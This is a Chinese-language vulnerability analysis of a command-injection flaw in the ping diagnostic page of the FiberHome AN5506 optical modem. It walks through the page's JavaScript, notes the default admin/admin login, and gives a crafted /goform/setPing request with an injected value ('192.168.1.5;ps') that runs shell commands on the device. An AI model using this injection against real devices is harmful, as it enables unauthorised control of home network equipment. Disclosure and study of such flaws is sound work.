概述

这个漏洞存在于烽火光猫AN5506型号上,需要登录才能利用漏洞,但是这款光猫的存在默认帐号密码admin/admin,所以危害挺大。

漏洞分析

漏洞发生在处理系统命令上面,因为过滤不当,导致了命令执行。

我们查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<table class="tabal_bg" border="0" cellpadding="0" cellspacing="1" width="100%">
<tbody>
<tr>
<td class="tabal_left" width="10%" id="ping_ip_title">Destination Address</td>
<td class="tabal_right" width="30%" ><input type="text" name="ping_ip" id="ping_ip" value="">
&nbsp; &nbsp; <strong style="color:#FF0033">*</strong>
</td>
</tr>
</tbody>
</table>

<table class="tabal_button" border="0" cellpadding="0" cellspacing="1" width="100%">
<tbody>
<tr>
<td class="tabal_submit" width="25%"></td>
<td class="tabal_submit" align="left"><input class="submit" type="button" value="Ping" id="ping_apply" onClick="CheckForm(1)">
&nbsp; <input class="submit" type="button" value="Traceroute" id="trace_apply" onClick="CheckForm(2)">
</td>
</tr>
</tbody>
</table>

我们在点击了检查网络环境的按钮后,调用了CheckForm()函数,我们跟进看下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function CheckForm(temp)
{
var ping_ip = document.getElementById("ping_ip");
var ping_apply = document.getElementById("ping_apply");
var ping_text = document.getElementById("ping_text");
var trace_apply = document.getElementById("trace_apply");

diagtype = temp;

if(!CheckNotNull(ping_ip.value))
{
alert(_("Plesae input address!"));
ping_ip.value = ping_ip.defaultValue;
ping_ip.focus();
return false;
}
/*限制只能输入IP*/
if(checkSpecialChar("|",ping_ip.value))
{
alert(_("The address you input is illegal."));
ping_ip.value = ping_ip.defaultValue;
ping_ip.focus();
return false;
}
if(!checkDiagnosisAddr(ping_ip.value))
{
alert(_("The address you input is illegal."));
ping_ip.value = ping_ip.defaultValue;
ping_ip.focus();
return false;
}

函数对ping_ip的值进行了合法性判断,如果IP合法则程序向下走,否则,返回false。我们往下看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
	if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
request=new XMLHttpRequest();
}
else
{// code for IE6, IE5
request=new ActiveXObject("Microsoft.XMLHTTP");
}

//first ping, init var
requestNum = "0";
ping_text.value = "";
ping_apply.disabled = true;
trace_apply.disabled = true;

sendRequest();
intervalId = setInterval("requestHandler();", 100);//0.1s

return true;
}

在判断完值的合法性后,就开始创建提交函数了,最后执行了sendRequest()函数和requestHandler()函数,我们来看看这两个函数

1
2
3
4
5
6
7
8
9
10
function sendRequest()
{
var ping_ip = document.getElementById("ping_ip");

requestNum++;

request.onreadystatechange = requestHandler; // set request handler
request.open('GET','/goform/setPing?ping_ip=' + ping_ip.value + '&requestNum=' + requestNum + '&diagtype=' + diagtype + '&' + Math.random(), true); // open asynchronus request
request.send(null); // send request
}

在这里,我们可以看到这么一行

1
var ping_ip = document.getElementById("ping_ip");

没错,这里重新获取了ping_ip的值,也就是说,前面的判断都是多余的。在获取到ping_ip的值之后,就进行了提交,而且是GET提交,所以我们可以构造连接

1
/goform/setPing?ping_ip=ping_ip.value&requestNum=requestNum&diagtype=diagtype

requestHandler()函数是获取行数提交的,我们可以不管。

在提交后,后端会调用sh脚本进行命令拼接执行

1
`ping -c 5 "$PING_IP"`

因为ping命令是固定的,不能控制,直接输入命令会报错,所以,我们能够控制测试的IP,需要进行多行执行,需要“;”号进行分割,执行“192.168.1.5;ps”,效果如下

8

前面说了,requestHandler()函数是控制多行读取的,每获取一行,需要提交一次,所以在提交了18次后,在执行完ping命令的后面,输出了我们的命令“whoami”.

9